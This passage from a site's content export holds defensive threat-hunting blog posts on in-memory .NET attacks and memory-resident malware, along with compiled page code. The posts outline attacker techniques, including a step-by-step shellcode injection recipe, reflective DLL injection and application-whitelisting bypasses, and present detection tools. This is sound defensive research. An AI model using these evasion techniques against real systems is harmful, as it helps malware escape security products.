Forshaw](https://twitter.com/tiraniddo) developed the [DotNetToJScript](https://github.com/tyranid/DotNetToJScript) technique. At its heart, this technique leverages the BinaryFormatter deserialization method to load a .NET application using only JScript. Interestingly enough, the technique under the hood will make a call to the Assembly.Load method. DotNetToJscript opened the door for many new clever techniques for executing unsigned .NET code in a stealthy manner. For example, James [demonstrated](https://bugs.chromium.org/p/project-zero/issues/detail?id=1081) how to combine DotNetToJScript with [com hijacking](https://www.endgame.com/blog/technical-blog/how-hunt-detecting-persistence-evasion-com) and Casey’s squiblydoo technique to inject code into [protected processes](http://www.alex-ionescu.com/?p=97). In another example, Casey weaponized DotNetToJScript in universal.js to execute arbitrary shellcode or PowerShell commands.\n\nThe number of Microsoft-signed applications that be can be abused to execute attacker code in a stealthy manner is dizzying. Fortunately, the community has been quick to document and track them publically in a number of places. One good reference is [Oddvar Moe’s](https://twitter.com/Oddvarmoe) [UltimateAppLockerByPassList](https://github.com/api0cradle/UltimateAppLockerByPassList), and another is Microsoft’s own [reference](https://docs.microsoft.com/en-us/windows/device-security/device-guard/deploy-code-integrity-policies-steps).\n\n## Detecting .NET Attacks\n\nAs these examples illustrate, attackers are leveraging .NET in various ways to defeat and evade endpoint detection. Now, let’s explore two approaches to detecting these attacks: on-demand and real-time-based techniques.\n\n### On-demand detection\n\nOn-demand detection leverages snapshots in time-type data collection. You don’t need a persistent agent running and collecting data when the attack takes place, but you do need the malicious code running during the hunt/collection time. The trick is to focus on high-value data that can capture actor-agnostic techniques, and has a high signal-to-noise ratio. One example is the [Get-InjectedThread](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) script for detecting traditional unmanaged in-memory injection techniques. To demonstrate detecting .NET malware usage of the Assembly.Load function, I leverage PowerShell Empire by [Will Schroeder](https://twitter.com/harmj0y) and others. Empire allows you to inject an agent into any process by remotely bootstrapping PowerShell. As you see below, after injection calc.exe has loaded the PowerShell core library System.Management.Automation.ni.dll.\n\n\n\nThis fact alone can be interesting, but a surprisingly large number of legitimate applications load PowerShell. Combining this with process network activity and looking for outliers across all your data may give you better mileage. Upon deeper inspection, we see something even more interesting. As shown below, memory section 0x2710000 contains a full .NET module (PE header present). The characteristics of the memory region are a bit unusual. The type is [MEM_MAPPED](\u003chttps://msdn.microsoft.com/en-us/library/windows/desktop/aa366775(v=vs.85).aspx\u003e), although there is no associated file mapping object (Note the “Use” field is empty in ProcessHacker). Lastly, the region has a protection of PAGE_READWRITE, which surprisingly is not executable. These memory characteristics are a [side effect](https://github.com/dotnet/coreclr/blob/3452efb58d2f3be867080f8627417b264fcbd73c/src/vm/peimagelayout.cpp#L259) of loading a memory-only module with the Assembly.Load(byte[]) method.\n\n\n\nTo automate this type of hunt, I wrote a PowerShell function called [Get-ClrReflection](https://gist.github.com/dezhub/2875fa6dc78083cedeab10abc551cb58) which looks for this combination of memory characteristics and will save any hits for further analysis. Below is sample output after running it against a workstation that was infected with Empire.\n\n\n\nOnce again, you will see hits for legitimate applications that leverage the Assembly.Load function. One common false positive is for XmlSerializer generated assemblies. Standard hunt practices apply. Bucket your hits by process name or better yet with a fuzzy hash match. For example, ClrGuard (details next) will give you TypeRef hash with a “-f” switch. Below is an example from Empire.\n\n\n\n### Eventing-based detection\n\nEventing-based detecting is great because you won’t need luck that an adversary is active while you are hunting. It also gives you an opportunity to prevent attacker techniques in real-time. To provide signals into the CLR on which .NET runs, we developed and released [ClrGuard](https://github.com/endgameinc/ClrGuard). ClrGuard will hook into all .NET processes on the system. From there, it performs an in-line hook of the native LoadImage() function. This is what Assembly.Load() calls under the CLR hood. When events are observed, they are sent over a named pipe to a monitoring process for further introspection and mitigation decision. For example, Empire’s psinject function can be immediately detected and blocked in real-time as shown in the image below.\n\n\n\nIn a similar manner, OilRig’s ISMInjector can be quickly detected and blocked.\n\n\n\nAnother example below shows ClrGuard in action against Casey Smith’s universal.js tool.\n\n\n\nWhile we don’t recommend you run ClrGuard across your enterprise (it is Proof of Concept grade), we hope it spurs community discussion and innovation against these types of .NET attacks. These sorts of defensive techniques power protection across the Endgame product, and an enterprise-grade ClrGuard-like feature will be coming soon.\n\n## Conclusion\n\nIt is important to thank those doing great offensive security research who are willing to publish their capabilities and tradecraft for the greater good of the community. The recent advancements in .NET in-memory attacks have shown that it is time for defenders to up their game and go toe-to-toe with the more advanced red teams and adversaries. We hope that ClrGuard and Get-ClrReflection help balance the stakes. These tools can increase a defenders optics into .NET malware activities, and raise visibility into this latest evolution of attacker techniques.\n","code":"var Component=(()=\u003e{var d=Object.create;var a=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var i in e)a(n,i,{get:e[i],enumerable:!0})},r=(n,e,i,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!g.call(n,o)\u0026\u0026o!==i\u0026\u0026a(n,o,{get:()=\u003ee[o],enumerable:!(s=m(e,o))||s.enumerable});return n};var y=(n,e,i)=\u003e(i=n!=null?d(u(n)):{},r(e||!n||!n.__esModule?a(i,\"default\",{value:n,enumerable:!0}):i,n)),b=n=\u003er(a({},\"__esModule\",{value:!0}),n);var c=f((j,l)=\u003e{l.exports=_jsx_runtime});var E={};w(E,{default:()=\u003eT,frontmatter:()=\u003ev});var t=y(c()),v={title:\"Hunting For In-Memory .NET Attacks\",slug:\"hunting-memory-net-attacks\",date:\"2022-06-21\",description:\"As a follow up to my DerbyCon presentation, this post will investigate an emerging trend of adversaries using .NET-based in-memory techniques to evade detection\",author:[{slug:\"joe-desimone\"}],image:\"photo-edited-04@2x.jpg\",category:[{slug:\"security-research\"}]};function h(n){let e=Object.assign({p:\"p\",img:\"img\",a:\"a\",h2:\"h2\",h3:\"h3\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory-net-attacks/Hunting-memory-hunting_in_memory_.net_1.png\",alt:\"Hunting-memory-hunting_in_memory_.net_1.png\",width:\"680\",height:\"400\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"In past blog posts, we shared our \",(0,t.jsx)(e.a,{href:\"https://www.endgame.com/blog/technical-blog/hunting-memory\",rel:\"nofollow\",children:\"approach\"}),\" to hunting for traditional in-memory attacks along with in-depth \",(0,t.jsx)(e.a,{href:\"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process\",rel:\"nofollow\",children:\"analysis\"}),\" of many injection techniques. As a follow up to my DerbyCon \",(0,t.jsx)(e.a,{href:\"https://www.endgame.com/resource/video/derbycon-talk-hunting-memory-resident-malware\",rel:\"nofollow\",children:\"presentation\"}),\", this post will investigate an emerging \",(0,t.jsx)(e.a,{href:\"https://securelist.com/the-rise-of-net-and-powershell-malware/72417/\",rel:\"nofollow\",children:\"trend\"}),\" of adversaries using .NET-based in-memory techniques to evade detection. I\\u2019ll discuss both eventing (real-time) and on-demand based detection strategies of these .NET techniques. At Endgame, we understand that these differing approaches to detection and prevention are complimentary, and together result in the most robust defense against in-memory attacks.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"the-net-allure\",children:\"The .NET Allure\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Using .NET in-memory techniques, or even standard .NET applications, are attractive to adversaries for several reasons. First and foremost, the \",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/.NET_Framework\",rel:\"nofollow\",children:\".NET framework\"}),\" comes \",(0,t.jsx)(e.a,{href:\"https://blogs.msdn.microsoft.com/astebner/2007/03/14/mailbag-what-version-of-the-net-framework-is-included-in-what-version-of-the-os/\",rel:\"nofollow\",children:\"pre-installed\"}),\" in all Windows versions. This is important as it enables the attackers\\u2019 malware to have maximum compatibility across victims. Next, the .NET PE metadata format itself is fairly \",(0,t.jsx)(e.a,{href:\"http://www.ntcore.com/files/dotnetformat.htm\",rel:\"nofollow\",children:\"complicated\"}),\". Due to resource constraints, many endpoint security vendors have limited insight into the managed (.NET) structures of these applications beyond what is shared with vanilla, unmanaged (not .NET) applications. In other words, most AVs and security products don\\u2019t defend well against malicious .NET code and adversaries know it. Finally, the .NET framework has built-in functionality to dynamically load memory-only modules through the \",(0,t.jsx)(e.a,{href:\"https://msdn.microsoft.com/en-us/library/system.reflection.assembly.load(v=vs.110).aspx\",rel:\"nofollow\",children:\"Assembly.Load(byte[])\"}),\" function (and its various overloads). This function allows attackers to easily craft crypters/loaders, keep their payloads off disk, and even bypass application whitelisting solutions like \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/device-security/device-guard/introduction-to-device-guard-virtualization-based-security-and-code-integrity-policies\",rel:\"nofollow\",children:\"Device Guard\"}),\". This post focuses on the Assembly.Load function due to the robust set of attacker capabilities it supports.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"net-attacker-techniques\",children:\".NET Attacker Techniques\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Adversaries leveraging .NET in-memory techniques is not completely new. However, in the last six months, there has been a noticeable uptick in tradecraft, which I\\u2019ll briefly discuss to illustrate the danger. For instance, in 2014, DEEP PANDA, a threat group suspected of operating out of China, was \",(0,t.jsx)(e.a,{href:\"https://www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/\",rel:\"nofollow\",children:\"observed\"}),\" using the multi-stage MadHatter implant which is written in .NET. More interestingly, this implant exists only in memory after a multi stage Assembly.Load bootstrapping process that begins with PowerShell. PowerShell can directly call .NET methods, and the Assembly.Load function being no exception. It is as easy as calling [System.Reflection.Assembly]::Load($bin). More recently, the \",(0,t.jsx)(e.a,{href:\"https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/\",rel:\"nofollow\",children:\"OilRig\"}),\" APT Group used a packed .NET malware sample known as ISMInjector to evade signature based detection. During the unpacking routine, the sample uses the Assembly.Load function to access the embedded next stage malware known as \",(0,t.jsx)(e.a,{href:\"https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/\",rel:\"nofollow\",children:\"ISMAgent\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"A third example, more familiar to red teams, is \",(0,t.jsx)(e.a,{href:\"https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/ReflectivePick/ReflectivePick.cpp\",rel:\"nofollow\",children:\"ReflectivePick\"}),\" by \",(0,t.jsx)(e.a,{href:\"https://twitter.com/sixdub\",rel:\"nofollow\",children:\"Justin Warner\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://twitter.com/tifkin_\",rel:\"nofollow\",children:\"Lee Christensen\"}),\". ReflectivePick allows PowerShell Empire to inject and bootstrap PowerShell into any running process. It leverages the Assembly.Load() method to load their PowerShell runner DLL without dropping it to disk. The image below shows the relevant source code of their tool.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory-net-attacks/Hunting-memory-load-assembly-from-memory-2.jpg\",alt:\"Hunting-memory-load-assembly-from-memory-2.jpg\",width:\"461\",height:\"249\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"It is important to point out that Assembly.Load, being a core function of the .NET framework, is often used in legitimate programs. This includes built-in Microsoft applications, which has led to an interesting string of defense evasion and application whitelisting bypasses. For example, \",(0,t.jsx)(e.a,{href:\"https://twitter.com/mattifestation\",rel:\"nofollow\",children:\"Matt Graeber\"}),\" discovered a Device Guard bypass that targets a race condition to hijack legitimate calls to Assembly.Load, allowing an attacker to execute any unsigned .NET code on a Device Guard protected host. Because of the difficulty in fixing such a technique, Microsoft currently has decided not to service this issue, leaving attackers a convenient \\u201Cforever-day exploit\\u201D against hosts that are hardened with application whitelisting.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://twitter.com/subTee\",rel:\"nofollow\",children:\"Casey Smith\"}),\" also has published a ton of research bypassing application whitelisting solutions. A number of these techniques, at their core, target signed Microsoft applications that call the Assembly.Load method with attacker-supplied code. One example is MSBuild, which comes pre-installed on Windows and allows attackers to execute unsigned .NET code inside a legitimate and signed Microsoft process. These techniques are not JUST useful to attackers who are targeting application whitelisting protected environments. Since they allow attacker code to be loaded into legitimate signed processes in an unconventional manner, most anti-virus and EDR products are blind to the attacker activity and can be bypassed.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Finally, \",(0,t.jsx)(e.a,{href:\"https://twitter.com/tiraniddo\",rel:\"nofollow\",children:\"James Forshaw\"}),\" developed the \",(0,t.jsx)(e.a,{href:\"https://github.com/tyranid/DotNetToJScript\",rel:\"nofollow\",children:\"DotNetToJScript\"}),\" technique. At its heart, this technique leverages the BinaryFormatter deserialization method to load a .NET application using only JScript. Interestingly enough, the technique under the hood will make a call to the Assembly.Load method. DotNetToJscript opened the door for many new clever techniques for executing unsigned .NET code in a stealthy manner. For example, James \",(0,t.jsx)(e.a,{href:\"https://bugs.chromium.org/p/project-zero/issues/detail?id=1081\",rel:\"nofollow\",children:\"demonstrated\"}),\" how to combine DotNetToJScript with \",(0,t.jsx)(e.a,{href:\"https://www.endgame.com/blog/technical-blog/how-hunt-detecting-persistence-evasion-com\",rel:\"nofollow\",children:\"com hijacking\"}),\" and Casey\\u2019s squiblydoo technique to inject code into \",(0,t.jsx)(e.a,{href:\"http://www.alex-ionescu.com/?p=97\",rel:\"nofollow\",children:\"protected processes\"}),\". In another example, Casey weaponized DotNetToJScript in universal.js to execute arbitrary shellcode or PowerShell commands.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The number of Microsoft-signed applications that be can be abused to execute attacker code in a stealthy manner is dizzying. Fortunately, the community has been quick to document and track them publically in a number of places. One good reference is \",(0,t.jsx)(e.a,{href:\"https://twitter.com/Oddvarmoe\",rel:\"nofollow\",children:\"Oddvar Moe\\u2019s\"}),\" \",(0,t.jsx)(e.a,{href:\"https://github.com/api0cradle/UltimateAppLockerByPassList\",rel:\"nofollow\",children:\"UltimateAppLockerByPassList\"}),\", and another is Microsoft\\u2019s own \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/device-security/device-guard/deploy-code-integrity-policies-steps\",rel:\"nofollow\",children:\"reference\"}),\".\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"detecting-net-attacks\",children:\"Detecting .NET Attacks\"}),`\n`,(0,t.jsx)(e.p,{children:\"As these examples illustrate, attackers are leveraging .NET in various ways to defeat and evade endpoint detection. Now, let\\u2019s explore two approaches to detecting these attacks: on-demand and real-time-based techniques.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"on-demand-detection\",children:\"On-demand detection\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"On-demand detection leverages snapshots in time-type data collection. You don\\u2019t need a persistent agent running and collecting data when the attack takes place, but you do need the malicious code running during the hunt/collection time. The trick is to focus on high-value data that can capture actor-agnostic techniques, and has a high signal-to-noise ratio. One example is the \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2\",rel:\"nofollow\",children:\"Get-InjectedThread\"}),\" script for detecting traditional unmanaged in-memory injection techniques. To demonstrate detecting .NET malware usage of the Assembly.Load function, I leverage PowerShell Empire by \",(0,t.jsx)(e.a,{href:\"https://twitter.com/harmj0y\",rel:\"nofollow\",children:\"Will Schroeder\"}),\" and others. Empire allows you to inject an agent into any process by remotely bootstrapping PowerShell. As you see below, after injection calc.exe has loaded the PowerShell core library System.Management.Automation.ni.dll.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory-net-attacks/Hunting-memory-calc.exe.2888-3.jpg\",alt:\"Hunting-memory-calc.exe.2888-3.jpg\",width:\"711\",height:\"206\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This fact alone can be interesting, but a surprisingly large number of legitimate applications load PowerShell. Combining this with process network activity and looking for outliers across all your data may give you better mileage. Upon deeper inspection, we see something even more interesting. As shown below, memory section 0x2710000 contains a full .NET module (PE header present). The characteristics of the memory region are a bit unusual. The type is \",(0,t.jsx)(e.a,{href:\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa366775(v=vs.85).aspx\",rel:\"nofollow\",children:\"MEM_MAPPED\"}),\", although there is no associated file mapping object (Note the \\u201CUse\\u201D field is empty in ProcessHacker). Lastly, the region has a protection of PAGE_READWRITE, which surprisingly is not executable. These memory characteristics are a \",(0,t.jsx)(e.a,{href:\"https://github.com/dotnet/coreclr/blob/3452efb58d2f3be867080f8627417b264fcbd73c/src/vm/peimagelayout.cpp#L259\",rel:\"nofollow\",children:\"side effect\"}),\" of loading a memory-only module with the Assembly.Load(byte[]) method.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory-net-attacks/Hunting-memory-calc.exe.2888.properties-4.jpg\",alt:\"Hunting-memory-calc.exe.2888.properties-4.jpg\",width:\"595\",height:\"411\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"To automate this type of hunt, I wrote a PowerShell function called \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/dezhub/2875fa6dc78083cedeab10abc551cb58\",rel:\"nofollow\",children:\"Get-ClrReflection\"}),\" which looks for this combination of memory characteristics and will save any hits for further analysis. Below is sample output after running it against a workstation that was infected with Empire.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory-net-attacks/Hunting-memory-Users-joe-desktop-5.jpg\",alt:\"Hunting-memory-Users-joe-desktop-5.jpg\",width:\"646\",height:\"301\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Once again, you will see hits for legitimate applications that leverage the Assembly.Load function. One common false positive is for XmlSerializer generated assemblies. Standard hunt practices apply. Bucket your hits by process name or better yet with a fuzzy hash match. For example, ClrGuard (details next) will give you TypeRef hash with a \\u201C-f\\u201D switch. Below is an example from Empire.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory-net-attacks/Hunting-memory-TypeRef-System-String-6.jpg\",alt:\"Hunting-memory-TypeRef-System-String-6.jpg\",width:\"660\",height:\"51\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"eventing-based-detection\",children:\"Eventing-based detection\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Eventing-based detecting is great because you won\\u2019t need luck that an adversary is active while you are hunting. It also gives you an opportunity to prevent attacker techniques in real-time. To provide signals into the CLR on which .NET runs, we developed and released \",(0,t.jsx)(e.a,{href:\"https://github.com/endgameinc/ClrGuard\",rel:\"nofollow\",children:\"ClrGuard\"}),\". ClrGuard will hook into all .NET processes on the system. From there, it performs an in-line hook of the native LoadImage() function. This is what Assembly.Load() calls under the CLR hood. When events are observed, they are sent over a named pipe to a monitoring process for further introspection and mitigation decision. For example, Empire\\u2019s psinject function can be immediately detected and blocked in real-time as shown in the image below.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory-net-attacks/Hunting-memory-CLR-Guard-7.jpg\",alt:\"Hunting-memory-CLR-Guard-7.jpg\",width:\"808\",height:\"243\"})}),`\n`,(0,t.jsx)(e.p,{children:\"In a similar manner, OilRig\\u2019s ISMInjector can be quickly detected and blocked.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory-net-attacks/Hunting-memory-Client-connected-endgame-8.jpg\",alt:\"Hunting-memory-Client-connected-endgame-8.jpg\",width:\"645\",height:\"209\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Another example below shows ClrGuard in action against Casey Smith\\u2019s universal.js tool.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory-net-attacks/Hunting-memory-Administrator-endgame-9.gif\",alt:\"Hunting-memory-Administrator-endgame-9.gif\",width:\"845\",height:\"670\"})}),`\n`,(0,t.jsx)(e.p,{children:\"While we don\\u2019t recommend you run ClrGuard across your enterprise (it is Proof of Concept grade), we hope it spurs community discussion and innovation against these types of .NET attacks. These sorts of defensive techniques power protection across the Endgame product, and an enterprise-grade ClrGuard-like feature will be coming soon.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"It is important to thank those doing great offensive security research who are willing to publish their capabilities and tradecraft for the greater good of the community. The recent advancements in .NET in-memory attacks have shown that it is time for defenders to up their game and go toe-to-toe with the more advanced red teams and adversaries. We hope that ClrGuard and Get-ClrReflection help balance the stakes. These tools can increase a defenders optics into .NET malware activities, and raise visibility into this latest evolution of attacker techniques.\"})]})}function k(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(h,n)})):h(n)}var T=k;return b(E);})();\n;return Component;"},"_id":"articles/hunting-memory-net-attacks.mdx","_raw":{"sourceFilePath":"articles/hunting-memory-net-attacks.mdx","sourceFileName":"hunting-memory-net-attacks.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/hunting-memory-net-attacks"},"type":"Article","imageUrl":"/assets/images/hunting-memory-net-attacks/photo-edited-04@2x.jpg","readingTime":"8 min read","series":"","url":"/hunting-memory-net-attacks","headings":[{"level":2,"title":"The .NET Allure","href":"#the-net-allure"},{"level":2,"title":".NET Attacker Techniques","href":"#net-attacker-techniques"},{"level":2,"title":"Detecting .NET Attacks","href":"#detecting-net-attacks"},{"level":3,"title":"On-demand detection","href":"#on-demand-detection"},{"level":3,"title":"Eventing-based detection","href":"#eventing-based-detection"},{"level":2,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"Joe Desimone","slug":"joe-desimone","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var j=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var g=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of j(e))!d.call(t,r)\u0026\u0026r!==n\u0026\u0026s(t,r,{get:()=\u003ee[r],enumerable:!(a=f(e,r))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},i(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var c=g((h,m)=\u003e{m.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var o=p(c()),M={title:\"Joe Desimone\",slug:\"joe-desimone\"};function u(t){return(0,o.jsx)(o.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,o.jsx)(e,Object.assign({},t,{children:(0,o.jsx)(u,t)})):u(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"authors/joe-desimone.mdx","_raw":{"sourceFilePath":"authors/joe-desimone.mdx","sourceFileName":"joe-desimone.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/joe-desimone"},"type":"Author","imageUrl":"","url":"/authors/joe-desimone"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Hunting In Memory","slug":"hunting-memory","date":"2022-06-21","description":"Threat Hunters are charged with the difficult task of sifting through vast sources of diverse data to pinpoint adversarial activity at any stage in the attack.","image":"blog-thumb-generic-black.jpg","body":{"raw":"\nThreat Hunters are charged with the difficult task of sifting through vast sources of diverse data to pinpoint adversarial activity at any stage in the attack lifecycle. To be successful, hunters must continually hone their subject matter expertise on the latest attacker techniques and detection methods. Memory resident malware, which presents itself in many forms, is an attacker technique that has existed for over a decade. The popularity of memory resident malware has steadily [increased](https://www.cyber.nj.gov/threat-analysis/fileless-evasive-intrusion-tactics-pose-challenge-for-network-defense) over time, possibly resulting from the proliferation of code and knowledge of in memory techniques. More likely, its popularity reflects the success of memory-based techniques to evade detection by security products and practitioners. Once limited to advanced adversaries, memory resident techniques are now commonplace for all levels of adversary sophistication. I will examine the most common of these memory based attacker techniques, and walk through our team’s research to craft a scalable, low noise approach to hunting for adversaries that are hiding in memory.\n\n## Attacker Techniques\n\nBefore I address memory hunting methods to detect adversaries in your network, it is helpful to understand the common forms of memory resident malware. These techniques include shellcode injection, reflective DLL injection, memory module, process and module hollowing, and Gargoyle (ROP/APC).\n\n### SHELLCODE INJECTION\n\nShellcode injection is the most basic in-memory technique and has also been around the longest. The basic ‘recipe’ for shellcode injection is a four step process. These steps are: 1) open a target process (OpenProcess); 2) allocate a chunk of memory in the process (VirtualAllocEx); 3) write the shellcode payload to the newly allocated section (WriteProcessMemory); and 4) create a new thread in the remote process to execute the shellcode (CreateRemoteThread). The venerable [Poison Ivy](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf) malware uses this technique, which is a big reason why so many APT groups were drawn to it over the years.\n\nIf you pull up a Poison Ivy [sample](https://www.virustotal.com/en/file/e0a8e823b446764e2b536e81d3fefaa9a562dd8c0614b3bdb345233de27e216a/analysis/)with x64dbg and set a breakpoint on VirtualAllocEx, you will soon locate the chunk of code responsible for the injection.\n\n\n\n\n\nIn the first image, the push 40 instruction preceding the call to VirtualAllocEx corresponds to page access protection value of PAGE_EXECUTE_READWRITE. In the following screenshot from [ProcessHacker](http://processhacker.sourceforge.net/) of the memory layout of a Poison Ivy implant, you can see it allocates a number of these RWX sections.\n\n\n\nTypical code sections are of type ‘Image’ and map to a file on disk. However, these are type ‘Private’ and do not map to a file on disk. They are therefore referred to as unbacked executable sections or floating code. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity. ProcessHacker can also show you the call stack of the malware threads. There are multiple functions in the call stack which do not map to memory associated with loaded modules.\n\n\n\n### REFLECTIVE DLL INJECTION\n\nReflective DLL injection, originally developed by [Steven Fewer](https://github.com/stephenfewer/ReflectiveDLLInjection), is another type of in memory attacker technique. Metasploit’s [Meterperter](https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter) payload was one of the first attempts to fully weaponize the technique, but many malware families use it today. Reflective DLL injection works by creating a DLL that maps itself into memory when executed, instead of relying on the Window’s loader. The injection process is identical to shellcode injection, except the shellcode is replaced with a self-mapping DLL. The self-mapping component added to the DLL is responsible for resolving import addresses, fixing relocations, and calling the DllMain function. Attackers benefit from the ability to code in higher level languages like C/C++ instead of assembly.\n\nClassic reflective DLL injection, such as that used by Meterpreter, is easy for hunters to find. It leaves large RWX memory sections in the process, even when the meterpreter session is closed. The start of these unbacked executable memory sections contain the full MZ/PE header, as shown in the images below. However, keep in mind that other reflective DLL implementations could wipe the headers and fix the memory leak.\n\n\n\n\n\nThe DLLs loaded in memory also conveniently export a self-describing function called ReflectiveLoader().\n\n### \n\n### MEMORY MODULE\n\n[Memory module](https://github.com/fancycode/MemoryModule) is another memory resident attacker technique. It is similar to Reflective DLL injection except the injector or loader is responsible for mapping the target DLL into memory instead of the DLL mapping itself. Essentially, the memory module loader re-implements the LoadLibrary function, but it works on a buffer in memory instead of a file on disk. The original implementation was designed for mapping in the current process, but updated techniques can map the module into [remote processes](https://github.com/DarthTon/Blackbone). Most implementations respect the section permissions of the target DLL and avoid the noisy RWX approach.\n\n[NetTraveler](https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests) is one malware family that uses a memory module style technique. When NetTraveler starts, it unpacks the core functionality and maps it into memory. The page permissions more closely resemble a legitimate DLL, however the memory regions are still private as opposed to image.\n\n\n\nThe active threads have start addresses at these private regions. The callstack also reveals these malicious sections.\n\n\n\n[Winnti](https://hitcon.org/2016/pacific/0composition/pdf/1201/1201%20R2%201610%20winnti%20polymorphism.pdf) is yet another malware sample that uses the Memory Module technique. They had a minor slip on the section 